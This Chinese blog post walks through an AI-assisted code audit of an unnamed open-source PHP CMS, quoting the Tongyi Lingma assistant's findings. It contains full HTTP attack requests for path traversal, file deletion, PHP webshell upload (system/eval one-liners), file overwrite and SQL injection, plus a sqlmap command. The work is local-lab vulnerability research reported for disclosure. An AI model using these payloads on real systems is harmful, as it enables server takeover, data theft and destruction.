前言
已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上。
准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。
赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。
审计对象
本次审计的对象主要有两个:某开源PHP最新版6.0 和 某开源OA最新版2.6.5
借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。
工具准备
环境搭建工具
phpstudy_pro(小皮面板):在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。
代码审计工具
Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji
CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan
RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/
代码编写及辅助工具
Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。
通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。
遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。
源码下载
由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。
环境搭建
将下载后的源码放在phpstudy的 www 目录下
进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件
修改之后可以进入数据库中,导入该开源项目的示例数据库
打开phpstudy ,设置域名和根目录
设置伪静态(必须)
location / {
if (!-e $request_filename){
rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}
点击确认即可,打开浏览器访问域名即可看到
同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件
审计打点
在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。
值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。
这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。
在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)
源码分析
打开源码,进入到Template.php页面下,可以看到代码如下:
主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。
按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。
首先我们全选代码,使用提示词如下:
已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因
这段 prompt 有几点比较关键:
我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容
我们需要告知,找出它能确定的漏洞,减少误报和泛化判断
明确最终结果是分析该漏洞形成原因,也便于安全工程师理解
随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:
安全漏洞及分析
1.路径遍历漏洞
位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历
2.文件上传漏洞
位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容
3.目录删除漏洞
位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件
4.SQL 注入漏洞
位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。
5.XSS 漏洞
位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面
每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)
下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置
路径遍历漏洞、任意文件删除漏洞
采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象
观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法
其中请求包如下:
GET /admin/template/edit.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:
已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:
此时,它会根据当前的传入参数自动构造一个修改后的返回包:
GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。
GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
除此,下面也配上了漏洞分析和预期结果:
漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。
预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。
再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:
再比如,定位到Images方法处
采用BP抓包,可直接抓到如下地址:
借助灵码直接构造请求包如下:
GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
可在图片查看界面实现对文件目录的遍历:
同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!
文件上传漏洞、文件内容覆盖漏洞
继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞
在BP中抓包地址如下:
我们先修改为insert方法,故当前请求包为:
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:
已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
file=test.php&type=php&content=<?php system($_GET['cmd']); ?>
可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包
并且下面也给出了相应解释及详细验证步骤
因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
file=../../shell&type=php&content=<?php eval($_POST[1]);?>
返回包提示添加成功
在static目录下可以看到该上传的文件
由于没有限制文件格式和内容,此处是可以上传任何格式和内容
同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数
这里直接延用上述请求包即可:
POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close
file=../../../ceshi.txt&type=txt&content=nihao
但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)
执行后结果如下:
原测试文件内容如下:
执行后文件内容如下:
可以看到已实现对任意文件内容的修改
SQL注入漏洞
看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力
进入到广告管理模块下面,看到其调用的方法来自AD.php
继续使用上述prompt:
已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因
此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险
它给出的回答如下:
在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:
1. index 方法中的 where 条件
->where('a.title', 'like', "%" . $key . "%")
成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。
示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。
2. editState 方法中的 where 条件
if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){
成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。
示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。
3. del 方法中的 where 条件
db('ad')->where(array('id'=>input('id')))->delete();
成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。
最好使用参数绑定来确保安全性。
4. delall 方法中的 where 条件
$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();
成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。
示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。
比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:
请详细讨论editState 方法中的 where 条件
灵码就会针对该方法进行详细的分析:
问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。
这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。
SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。
类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。
示例攻击
假设用户发送以下 POST 请求:
POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
id=1 OR 1=1&open=1
生成的 SQL 语句将是:
UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1
这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。
对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置
抓包如下,构造延迟注入:
POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close
id=38 and sleep(5)&open=1
验证发现可以延迟
随后采用SQLmap进行验证存在
py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba
workspace工作空间分析
除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:
进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:
@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。
灵码给出的回复如下:
如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:
请指出该程序中可能存在的安全漏洞并加以简要分析
但是这种方法的缺点就在于"随机性"太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。
这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。
总结及展望
我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。
但同时,它仍然存在可提升空间:
在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。
在workspace模式下,有些过于僵硬,不能很好的理解我的需求
回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。